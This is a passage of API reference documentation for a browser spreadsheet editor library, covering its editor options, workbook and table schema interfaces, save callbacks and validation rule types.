EditorTheme.| |`translations?`|`Readonly`<`Record`<`string`, `Readonly`<`Record`<`string`, `string`>>>>|Messages by language (i18next JSON, keys as in the English catalogue): whole catalogues for more languages, or a few messages worded differently.| |`user?`|`string`|Name recorded against each action in the change history.| |`warnOnUnload?`|`boolean`|Ask before leaving the page with unsaved changes. Default true.| |`workerTimeout?`|`number`|How long the worker may spend on one task, in milliseconds, before it is taken to have stopped. Default 120,000; 0 waits for ever.| --- # EditorState Source: https://ruled.page/reference/api/ruled/sheet/interfaces/editorstate/ What `useEditorState` gives: the editor’s status, its workbook’s name, and its edits. ## Properties |Property|Type|Description| |-|-|-| |`editedCount`|`number`|Cells that differ from the file as it was opened.| |`fileName`|`string`|-| |`status`|`"error"` \| `"empty"` \| `"loading"` \| `"ready"`|-| |`unsaved`|`boolean`|Whether there are edits the host hasn’t received through a save.| --- # FieldContext Source: https://ruled.page/reference/api/ruled/sheet/interfaces/fieldcontext/ ## Properties |Property|Type|Description| |-|-|-| |`language`|`string`|The editor’s language (BCP 47, such as “en-US” or “de”), for messages in that language.| |`record?`|`number`|Record index within the table (0-based), when the field belongs to a table.| |`sheet`|`string`|-| |`signal`|`AbortSignal`|Aborted when the value changes again before this check finishes.| |`table?`|`string`|-| |`values?`|`Record`<`string`, [`FieldValue`](https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldvalue.md)>|The record’s values by field key, when the field belongs to a table.| --- # FieldSchema Source: https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema/ ## Properties |Property|Type|Description| |-|-|-| |`decimals?`|`number`|Most decimal places allowed; for percents, of the percentage (12.5% has 1).| |`description?`|[`Localized`](https://ruled.page/reference/api/ruled/sheet/type-aliases/localized.md)|Shown in the formula bar when a cell of this field is selected; in one language or several.| |`formula?`|`"allow"` \| `"forbid"` \| `"require"`|Whether cells may, must or must not hold formulas. Default “allow”.| |`key`|`string`|Stable name used in code and rules.| |`label`|[`TextMatch`](https://ruled.page/reference/api/ruled/sheet/type-aliases/textmatch.md)|Header text in the workbook.| |`max?`|`string` \| `number`|-| |`maxLength?`|`number`|-| |`min?`|`string` \| `number`|Inclusive bounds: numbers (percents as fractions) or ISO dates for date fields.| |`minLength?`|`number`|Bounds on the length of text values.| |`pattern?`|`string`|Regular expression the text form of the value must match.| |`patternHint?`|[`Localized`](https://ruled.page/reference/api/ruled/sheet/type-aliases/localized.md)|How to describe the pattern to people, e.g. “like SKU-1234”, shown as “Should be like SKU-1234.”; in one language or several.| |`readOnly?`|`boolean`|-| |`required?`|`boolean`|-| |`type`|[`FieldType`](https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldtype.md)|-| |`unique?`|`boolean`|No two records may share a value.| |`validate?`|(`value`, `ctx`) => \| [`CheckResult`](https://ruled.page/reference/api/ruled/sheet/type-aliases/checkresult.md) \| `Promise`<[`CheckResult`](https://ruled.page/reference/api/ruled/sheet/type-aliases/checkresult.md)>|Code hook: extra check, sync or async. Async checks re-run only when the value changes.| |`values?`|`string`\[]|Allowed values for “enum” fields; typed input is matched ignoring case.| --- # HistoryEntry Source: https://ruled.page/reference/api/ruled/sheet/interfaces/historyentry/ One action in the change history, as hosts receive it: the action in the editor’s language. ## Properties |Property|Type|Description| |-|-|-| |`action`|`string`|-| |`at`|`number`|-| |`cells`|`number`|-| |`refs`|`string`\[]|Up to five of the cells it changed, e.g. “Prices!B4”.| |`user?`|`string`|-| --- # IssueInput Source: https://ruled.page/reference/api/ruled/sheet/interfaces/issueinput/ ## Properties |Property|Type|Description| |-|-|-| |`field?`|`string`|-| |`message`|[`Localized`](https://ruled.page/reference/api/ruled/sheet/type-aliases/localized.md)|In one language or several: { en: ‘Too high’, de: ‘Zu hoch’ }.| |`record?`|`number`|Pin the issue to a record and/or field of the table it came from.| |`ref?`|`string`|Or to a cell on the sheet, e.g. “B4”.| |`severity?`|[`Severity`](https://ruled.page/reference/api/ruled/sheet/type-aliases/severity.md)|-| --- # LinkClick Source: https://ruled.page/reference/api/ruled/sheet/interfaces/linkclick/ What a host’s onLinkClick hears when someone follows a link to a web page or an email. ## Properties |Property|Type|Description| |-|-|-| |`kind`|`"web"` \| `"email"`|-| |`ref`|`string`|-| |`sheet`|`string`|The sheet and cell the link is on.| |`url`|`string`|The address, as the browser would open it.| --- # Message Source: https://ruled.page/reference/api/ruled/sheet/interfaces/message/ A message for the editor to translate when it shows it: a key of the catalogues, such as `'toolbar.save'` (typed as `MessageKey` in the package), and the values for its placeholders. ## Properties |Property|Type| |-|-| |`key`|`string`| |`params?`|`Record`<`string`, `unknown`>| --- # NumberOptions Source: https://ruled.page/reference/api/ruled/sheet/interfaces/numberoptions/ How numbers are shown, copied, pasted and reviewed. ## Properties |Property|Type|Description| |-|-|-| |`copy?`|`"formatted"` \| `"raw"`|“raw” puts exact values on the clipboard instead of the displayed text.| |`display?`|`"formatted"` \| `"full"`|“full” shows every stored digit instead of the cell’s rounded format.| |`paste?`|`"lenient"` \| `"strict"`|“strict” asks before pasting values that would be stored differently from how they read: day/month-ambiguous dates, numbers beyond 15 significant digits, and numbers with leading zeros.| |`reviewBeforeSave?`|`boolean`|List every changed cell, old and new value, for confirmation before saving.| --- # RecordData Source: https://ruled.page/reference/api/ruled/sheet/interfaces/recorddata/ ## Properties |Property|Type|Description| |-|-|-| |`index`|`number`|-| |`label?`|`string`|The fixed record label, for tables with record labels.| |`values`|`Record`<`string`, [`FieldValue`](https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldvalue.md)>|-| ## Methods ### ref() ```ts ref(field): string; ``` Address of one of this record’s cells, e.g. “D7”. #### Parameters |Parameter|Type| |-|-| |`field`|`string`| #### Returns `string` --- # SavedWorkbook Source: https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook/ The workbook as saved, handed to the host’s onSave callback (and the element’s `save` event): the file itself, what changed, and its values, so the host can store the file, the values, or both. ## Extends - `WorkbookReaders` ## Extended by - [`SaveEventDetail`](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/saveeventdetail.md) ## Properties |Property|Type|Description| |-|-|-| |`bytes`|`Uint8Array`|-| |`changes`|[`CellChange`](https://ruled.page/reference/api/ruled/sheet/interfaces/cellchange.md)\[]|Each change with its value when opened and now.| |`editedCount`|`number`|Changes since the workbook was opened: cells, plus any rows or columns inserted or deleted, or cells moved.| |`fileName`|`string`|-| |`history`|[`HistoryEntry`](https://ruled.page/reference/api/ruled/sheet/interfaces/historyentry.md)\[]|What was done, by whom and when, oldest first; actions are in the editor’s language.| |`outOfDate`|`object`\[]|Formulas whose saved value may be out of date: this editor can’t calculate them, a cell they depend on changed, and they still hold Excel’s last result (as does any formula reading one). Excel recalculates them when the file is next opened; until then, don’t rely on their values.| |`schema?`|`object`|The schema the workbook was checked against, and what it found, when one applied.| |`schema.errors`|`number`|-| |`schema.id`|`string`|-| |`schema.name`|`string`|-| |`schema.version?`|`string`|-| |`schema.warnings`|`number`|-| |`values?`|[`SchemaValues`](https://ruled.page/reference/api/ruled/sheet/type-aliases/schemavalues.md)|The values in the shape of that schema: each table’s records by field, each single cell.| ## Methods ### cell() ```ts cell(sheet, ref): JsonValue; ``` Any cell’s value as JSON, e.g. cell(‘Data’, ‘B4’); dates come back as ISO text. #### Parameters |Parameter|Type| |-|-| |`sheet`|`string`| |`ref`|`string`| #### Returns [`JsonValue`](https://ruled.page/reference/api/ruled/sheet/type-aliases/jsonvalue.md) #### Inherited from ```ts WorkbookReaders.cell ``` *** ### range() ```ts range(sheet, ref?): JsonValue[][]; ``` A range’s values row by row, e.g. range(‘Data’, ‘A1:F200’); without a range, the sheet’s used range. #### Parameters |Parameter|Type| |-|-| |`sheet`|`string`| |`ref?`|`string`| #### Returns [`JsonValue`](https://ruled.page/reference/api/ruled/sheet/type-aliases/jsonvalue.md)\[]\[] #### Inherited from ```ts WorkbookReaders.range ``` --- # SheetData Source: https://ruled.page/reference/api/ruled/sheet/interfaces/sheetdata/ ## Properties |Property|Type| |-|-| |`name`|`string`| ## Methods ### cell() ```ts cell(key): FieldValue; ``` Value of a single-cell field defined under `cells`. #### Parameters |Parameter|Type| |-|-| |`key`|`string`| #### Returns [`FieldValue`](https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldvalue.md) *** ### table() ```ts table(key): | TableData | undefined; ``` #### Parameters |Parameter|Type| |-|-| |`key`|`string`| #### Returns \| [`TableData`](https://ruled.page/reference/api/ruled/sheet/interfaces/tabledata.md) | `undefined` --- # SheetSchema Source: https://ruled.page/reference/api/ruled/sheet/interfaces/sheetschema/ ## Properties |Property|Type|Description| |-|-|-| |`cells?`|[`CellSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/cellschema.md)\[]|-| |`name`|[`TextMatch`](https://ruled.page/reference/api/ruled/sheet/type-aliases/textmatch.md)|-| |`optional?`|`boolean`|-| |`outside?`|`"readOnly"` \| `"editable"`|Whether cells outside the tables and cells above can be edited. Default “readOnly”.| |`tables?`|[`TableSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/tableschema.md)\[]|-| |`validate?`|(`sheet`, `ctx`) => \| `void` \| [`IssueInput`](https://ruled.page/reference/api/ruled/sheet/interfaces/issueinput.md)\[] \| `Promise`< \| `void` \| [`IssueInput`](https://ruled.page/reference/api/ruled/sheet/interfaces/issueinput.md)\[]>|Code hook: sheet-wide checks, sync or async.| --- # TableData Source: https://ruled.page/reference/api/ruled/sheet/interfaces/tabledata/ ## Properties |Property|Type| |-|-| |`fields`|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md)\[]| |`key`|`string`| |`records`|[`RecordData`](https://ruled.page/reference/api/ruled/sheet/interfaces/recorddata.md)\[]| |`sheet`|`string`| --- # TableSchema Source: https://ruled.page/reference/api/ruled/sheet/interfaces/tableschema/ ## Properties |Property|Type|Description| |-|-|-| |`at`|`string`|Top-left cell of the table, including any label row or column.| |`checks?`|[`DeclarativeRule`](https://ruled.page/reference/api/ruled/sheet/type-aliases/declarativerule.md)\[]|Declarative checks; “\*” as the field applies a check to every field.| |`corner?`|[`TextMatch`](https://ruled.page/reference/api/ruled/sheet/type-aliases/textmatch.md)|Text expected in the top-left cell when the table has both kinds of labels.| |`fields`|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md)\[]|-| |`header?`|`boolean`|The first row (“rows”) or column (“columns”) holds the field labels. Default true.| |`key`|`string`|-| |`orientation?`|`"rows"` \| `"columns"`|“rows”: one record per row, fields across the columns (the usual table). “columns”: one record per column, fields down the rows.| |`records?`|`object`|-| |`records.labels?`|[`TextMatch`](https://ruled.page/reference/api/ruled/sheet/type-aliases/textmatch.md)\[]|Fixed labels in the first column (“rows”) or row (“columns”). When given, the number of records is fixed and the labels can’t be edited.| |`records.max?`|`number`|-| |`records.min?`|`number`|Bounds on the number of records when they can be added and removed.| |`rules?`|[`TableRule`](https://ruled.page/reference/api/ruled/sheet/type-aliases/tablerule.md)\[]|Code hooks: table-wide checks, sync or async.| --- # WorkbookData Source: https://ruled.page/reference/api/ruled/sheet/interfaces/workbookdata/ ## Extended by - [`ChangeContext`](https://ruled.page/reference/api/ruled/sheet/interfaces/changecontext.md) ## Properties |Property|Type|Description| |-|-|-| |`language`|`string`|The editor’s language (BCP 47, such as “en-US” or “de”), for messages in that language.| |`signal`|`AbortSignal`|Aborted when the workbook changes again before this check finishes.| ## Methods ### sheet() ```ts sheet(name): | SheetData | undefined; ``` #### Parameters |Parameter|Type| |-|-| |`name`|`string`| #### Returns \| [`SheetData`](https://ruled.page/reference/api/ruled/sheet/interfaces/sheetdata.md) | `undefined` --- # WorkbookEditorHookOptions Source: https://ruled.page/reference/api/ruled/sheet/interfaces/workbookeditorhookoptions/ ## Extends - [`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md) ## Properties |Property|Type|Description|Inherited from| |-|-|-|-| |`activeContent?`|`"block"` \| `"keep"`|ActiveX controls and embedded objects: keep them (default), or refuse such files.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`activeContent`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-activecontent)| |`createWorker?`|() => `Worker`|Creates the worker that holds the workbook; defaults to the bundled worker file.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`createWorker`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-createworker)| |`csvExport?`|[`CsvOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/csvoptions.md)|How the sheet is written when downloaded as CSV: the delimiter, and whether formulas are escaped (they are by default).|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`csvExport`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-csvexport)| |`customLists?`|`string`\[]\[]|Lists that dragging the fill handle and AutoFill continue, as Excel’s custom lists do, after the built-in day and month names: each list is its entries in order, e.g. \[\[‘North’, ‘East’, ‘South’, ‘West’]]. Users can add their own in the Custom Lists dialog.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`customLists`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-customlists)| |`diagnostics?`|`boolean`|Show in the status bar which engine is calculating, how large it is, and how long opening, calculating and the last edit took, for comparing engines.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`diagnostics`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-diagnostics)| |`drafts?`|`boolean`|Keep unsaved edits in the browser and offer them back when the same file is reopened. Default true.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`drafts`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-drafts)| |`features?`|`Partial`<[`EditorFeatures`](https://ruled.page/reference/api/ruled/sheet/interfaces/editorfeatures.md)>|Parts of the UI to show; hosts that open and save files themselves can hide them.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`features`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-features)| |`file?`|\| [`WorkbookFile`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookfile.md) \| `null`|The workbook to open, once the editor is made and again whenever it’s a different file (another name or other bytes; a new object for the same file isn’t). Over unsaved changes the user is asked first, and the workbook they keep stays open. A file that can’t be opened says why in the editor. Leave it out to open files yourself with `open()`.|-| |`icons?`|`Partial`<`Record`< \| `"formula"` \| `"chart"` \| `"image"` \| `"shape"` \| `"undo"` \| `"redo"` \| `"download"` \| `"open"` \| `"info"` \| `"warn"` \| `"close"` \| `"check"` \| `"lock"` \| `"sheet"` \| `"edit"` \| `"eye"` \| `"plus"` \| `"minus"` \| `"schema"` \| `"upload"` \| `"sparkle"` \| `"trash"` \| `"note"` \| `"link"` \| `"keyboard"` \| `"more"` \| `"bold"` \| `"italic"` \| `"underline"` \| `"strike"` \| `"textColor"` \| `"fillColor"` \| `"borders"` \| `"alignLeft"` \| `"alignCenter"` \| `"alignRight"` \| `"wrap"` \| `"checkbox"` \| `"decimalsMore"` \| `"decimalsFewer"` \| `"clearFormat"` \| `"chevronDown"` \| `"chevronUp"` \| `"alignTop"` \| `"alignMiddle"` \| `"alignBottom"` \| `"indentMore"` \| `"indentLess"`, `ReactNode`>>|Replacement icons by name: SVG path data on a 24×24 grid, or (for React hosts) an element.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`icons`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-icons)| |`language?`|`string`|Language of the editor’s own text, such as “de” or “fr-CA”; defaults to the locale. English and German are built in; others need `translations`.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`language`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-language)| |`limits?`|`PackageLimits` & `object`|Size and complexity limits for opened files; see OpenOptions.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`limits`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-limits)| |`links?`|`"off"` \| `"follow"`|Following hyperlinks. ‘follow’ (the default): Ctrl+click (⌘-click on a Mac), Ctrl+Enter (⌘Enter) or the cell menu goes to a place in the workbook, or opens a web page or email in a new tab, asking first the first time for each address; links to anything else are refused. ‘off’: links are shown and can be edited, but never followed.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`links`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-links)| |`locale?`|`string`|Locale for parsing and showing dates and numbers; defaults to the browser’s.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`locale`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-locale)| |`macros?`|`"block"` \| `"keep"` \| `"remove"`|Macros (VBA or Excel 4.0 macro sheets): keep them (default), remove them when saving, or refuse such files.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`macros`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-macros)| |`numbers?`|[`NumberOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/numberoptions.md)|Default number display; a matching schema can override it.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`numbers`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-numbers)| |`onError?`|(`error`) => `void`|Called when the editor stops working: its worker couldn’t load, crashed, ran out of memory or stopped answering. The editor shows what happened and offers to reopen the file, which brings back unsaved edits when drafts are on.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`onError`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-onerror)| |`onEvent?`|(`event`) => `void`|Hears what the editor does and how long it took, for the host’s logging or analytics.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`onEvent`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-onevent)| |`onLinkClick?`|(`link`) => `boolean` \| `void` \| `Promise`<`boolean` \| `void`>|Called when the user follows a link to a web page or an email, instead of the editor opening it; links to anything else are refused before it is called. Return (or resolve) true to have the editor ask and open it after all.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`onLinkClick`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-onlinkclick)| |`onSave?`|(`file`) => `void` \| `Promise`<`void`>|Receives the workbook when the user saves, e.g. to upload it. Throwing shows the error and keeps the changes. Without it, saving downloads the file.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`onSave`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-onsave)| |`recalc?`|`"auto"` \| `"on"` \| `"off"`|Live recalculation: ‘auto’ (default) turns it off for workbooks too large to recalculate quickly, where the user can turn it on; ‘on’ and ‘off’ force it.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`recalc`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-recalc)| |`saveLabel?`|[`Localized`](https://ruled.page/reference/api/ruled/sheet/type-aliases/localized.md)|The Save button’s label when the host handles saving, e.g. “Submit price list”. Default “Save”.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`saveLabel`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-savelabel)| |`schemas?`|[`WorkbookSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookschema.md)\[]|Schemas to try, in order, against each workbook that is opened.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`schemas`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-schemas)| |`theme?`|`Partial`<`Record`< \| `"warning"` \| `"text"` \| `"colorScheme"` \| `"accent"` \| `"accentStrong"` \| `"accentSoft"` \| `"accentBorder"` \| `"accentTint"` \| `"onAccent"` \| `"surface"` \| `"surfaceAlt"` \| `"surfaceSunken"` \| `"backdrop"` \| `"focusRing"` \| `"textMuted"` \| `"textSubtle"` \| `"border"` \| `"borderStrong"` \| `"neutral"` \| `"success"` \| `"successSoft"` \| `"successBorder"` \| `"successText"` \| `"warningSoft"` \| `"warningBorder"` \| `"warningText"` \| `"warningAccent"` \| `"danger"` \| `"dangerSoft"` \| `"dangerBorder"` \| `"onDanger"` \| `"infoSoft"` \| `"infoText"` \| `"infoAccent"` \| `"infoBannerBg"` \| `"infoBannerBorder"` \| `"infoBannerText"` \| `"fieldSoft"` \| `"fieldText"` \| `"noteSoft"` \| `"noteText"` \| `"noteBorder"` \| `"noteTipBg"` \| `"noteTipBorder"` \| `"placeholderBg"` \| `"placeholderBorder"` \| `"placeholderText"` \| `"placeholderTextMuted"` \| `"dropzoneBorder"` \| `"dropzoneHoverBg"` \| `"gridBg"` \| `"gridText"` \| `"gridTextOnFill"` \| `"gridLine"` \| `"gridBorderAuto"` \| `"gridFreezeLine"` \| `"gridHeaderBg"` \| `"gridHeaderText"` \| `"gridHeaderLine"` \| `"gridHeaderHoverBg"` \| `"gridHeaderSelectedBg"` \| `"gridHeaderSelectedText"` \| `"gridRowHeaderText"` \| `"gridTextMuted"` \| `"gridTextLight"` \| `"gridBgAlt"` \| `"gridCutFill"` \| `"gridSelection"` \| `"gridSelectionFill"` \| `"gridEditedFill"` \| `"gridEditedMark"` \| `"gridLockedFill"` \| `"gridLabelFill"` \| `"gridErrorMark"` \| `"gridWarningMark"` \| `"gridPendingMark"` \| `"gridNoteMark"` \| `"gridStaleMark"` \| `"gridUnsupportedMark"` \| `"gridSpillLine"` \| `"gridDropdownArrow"` \| `"gridLink"` \| `"gridFont"` \| `"gridHeaderFont"` \| `"gridHeaderFontSize"` \| `"gridHeaderFontWeight"` \| `"formulaRef1"` \| `"formulaRef2"` \| `"formulaRef3"` \| `"formulaRef4"` \| `"formulaRef5"` \| `"formulaRef6"` \| `"formulaRef7"` \| `"chartColors"` \| `"font"` \| `"fontMono"` \| `"fontSize"` \| `"fontSizeXs"` \| `"fontSizeSm"` \| `"fontSizeMd"` \| `"fontSizeLg"` \| `"fontSizeXl"` \| `"iconStrokeWidth"` \| `"radius"` \| `"radiusSm"` \| `"radiusLg"` \| `"shadow"` \| `"shadowSm"`, `string`>>|Overrides for the theme tokens (colours, fonts, sizes, corners, shadows); see EditorTheme.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`theme`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-theme)| |`translations?`|`Readonly`<`Record`<`string`, `Readonly`<`Record`<`string`, `string`>>>>|Messages by language (i18next JSON, keys as in the English catalogue): whole catalogues for more languages, or a few messages worded differently.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`translations`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-translations)| |`user?`|`string`|Name recorded against each action in the change history.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`user`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-user)| |`warnOnUnload?`|`boolean`|Ask before leaving the page with unsaved changes. Default true.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`warnOnUnload`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-warnonunload)| |`workerTimeout?`|`number`|How long the worker may spend on one task, in milliseconds, before it is taken to have stopped. Default 120,000; 0 waits for ever.|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md).[`workerTimeout`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md#property-workertimeout)| --- # WorkbookEditorProps Source: https://ruled.page/reference/api/ruled/sheet/interfaces/workbookeditorprops/ Public API of the workbook editor. React hosts render , or manage one from createWorkbookEditor(options) themselves. Other hosts call mountWorkbookEditor(element, options), or use the custom element from the standalone build. Each gives an EditorHandle to control the editor with. ## Properties |Property|Type|Description| |-|-|-| |`className?`|`string`|-| |`editor`|[`EditorHandle`](https://ruled.page/reference/api/ruled/sheet/interfaces/editorhandle.md)|The editor to show, from createWorkbookEditor().| |`emptyState?`|(`openPicker`) => `ReactNode`|Shown before a workbook is opened; receives a function that opens the file picker.| |`toolbarEnd?`|`ReactNode`|The host’s own controls, at the end of the toolbar before the Save button.| --- # WorkbookFile Source: https://ruled.page/reference/api/ruled/sheet/interfaces/workbookfile/ A workbook for `useWorkbookEditor` to open: its name, which says what kind of file it is, and its bytes. ## Properties |Property|Type| |-|-| |`bytes`|`ArrayBuffer` \| `Uint8Array`<`ArrayBufferLike`>| |`name`|`string`| --- # WorkbookSchema Source: https://ruled.page/reference/api/ruled/sheet/interfaces/workbookschema/ ## Properties |Property|Type|Description| |-|-|-| |`beforeSave?`|(`ctx`) => \| `true` \| `void` \| [`Localized`](https://ruled.page/reference/api/ruled/sheet/type-aliases/localized.md) \| `Promise`\|Code hook: last check before saving. Return a message (in one language or several) to stop the save.| |`description?`|[`Localized`](https://ruled.page/reference/api/ruled/sheet/type-aliases/localized.md)|-| |`hookTimeoutMs?`|`number`|How long an async hook may take, in milliseconds. A check that takes longer is reported and its result ignored; business logic that takes longer changes nothing; a slow beforeSave stops the save. Default 10,000.| |`id`|`string`|-| |`name`|[`Localized`](https://ruled.page/reference/api/ruled/sheet/type-aliases/localized.md)|Shown to people; in one language or several.| |`numbers?`|[`NumberOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/numberoptions.md)|-| |`onChange?`|(`ctx`) => `void` \| `Promise`<`void`>|Code hook: business logic run after each edit; may fill other cells via ctx.set.| |`otherSheets?`|`"readOnly"` \| `"editable"`|Whether sheets the schema doesn’t describe can be edited. Default “editable”.| |`saveWithErrors?`|`"block"` \| `"confirm"`|“block” refuses to save while errors remain; “confirm” asks first. Default “block”.| |`sheets`|[`SheetSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/sheetschema.md)\[]|-| |`validate?`|(`ctx`) => \| `void` \| [`IssueInput`](https://ruled.page/reference/api/ruled/sheet/interfaces/issueinput.md)\[] \| `Promise`< \| `void` \| [`IssueInput`](https://ruled.page/reference/api/ruled/sheet/interfaces/issueinput.md)\[]>|Code hook: workbook-wide business rules; may call services.| |`version?`|`string`|Saving stamps the file with the schema’s id and version, so it is checked against this schema first when it is opened again, and a file saved under another version says so.| --- # CheckResult Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/checkresult/ ```ts type CheckResult = | Localized | { message: Localized; severity?: Severity; } | null | undefined | void; ``` What a check returns: nothing when the value is fine, otherwise a message. The message can be given in several languages ({ en: ‘Too high’, de: ‘Zu hoch’ }); the editor shows the one that fits its language best. Or use `ctx.language` to write it in the editor’s language. --- # DeclarativeRule Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/declarativerule/ ```ts type DeclarativeRule = | { direction: "increasing" | "decreasing" | "nonIncreasing" | "nonDecreasing"; field: string; rule: "monotonic"; severity?: Severity; } | { field: string; rule: "firstEquals"; severity?: Severity; value: number | string; } | { equals?: number; field: string; max?: number; min?: number; rule: "sum"; severity?: Severity; } | { field: string; op: "<" | "<=" | ">" | ">=" | "=" | "<>"; other: string; rule: "compare"; severity?: Severity; } | { equals?: string | number | boolean; field: string; rule: "requiredIf"; severity?: Severity; when: string; } | { field: string; fields: string[]; rule: "uniqueTogether"; severity?: Severity; }; ``` Built-in table checks that can be expressed as data. ## Union Members ### Type Literal ```ts { direction: "increasing" | "decreasing" | "nonIncreasing" | "nonDecreasing"; field: string; rule: "monotonic"; severity?: Severity; } ``` *** ### Type Literal ```ts { field: string; rule: "firstEquals"; severity?: Severity; value: number | string; } ``` *** ### Type Literal ```ts { equals?: number; field: string; max?: number; min?: number; rule: "sum"; severity?: Severity; } ``` *** ### Type Literal ```ts { field: string; op: "<" | "<=" | ">" | ">=" | "=" | "<>"; other: string; rule: "compare"; severity?: Severity; } ``` In every record, `field` compares with `other` this way (numbers, dates or text). *** ### Type Literal ```ts { equals?: string | number | boolean; field: string; rule: "requiredIf"; severity?: Severity; when: string; } ``` `field` is required in records where `when` has a value (or, with `equals`, that value). *** ### Type Literal ```ts { field: string; fields: string[]; rule: "uniqueTogether"; severity?: Severity; } ``` No two records share the same combination of these fields’ values. --- # EditorTheme Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/editortheme/ ```ts type EditorTheme = Partial>; ``` --- # FieldType Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldtype/ ```ts type FieldType = "text" | "number" | "integer" | "percent" | "date" | "boolean" | "enum"; ``` --- # FieldValue Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldvalue/ ```ts type FieldValue = | string | number | boolean | Date | null | { error: string; }; ``` A cell’s value as schema code sees it. Dates arrive as Date (UTC midnight). --- # IconName Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/iconname/ ```ts type IconName = keyof typeof PATHS; ``` --- # IconOverrides Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/iconoverrides/ ```ts type IconOverrides = Partial>; ``` Replacement icons: SVG path data drawn on a 24×24 grid with the current text colour, or any element. --- # JsonValue Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/jsonvalue/ ```ts type JsonValue = string | number | boolean | null; ``` A value as handed to a host on save: dates as ISO text (“2026-03-01”, or with a time), errors as their text. --- # Localized Source: 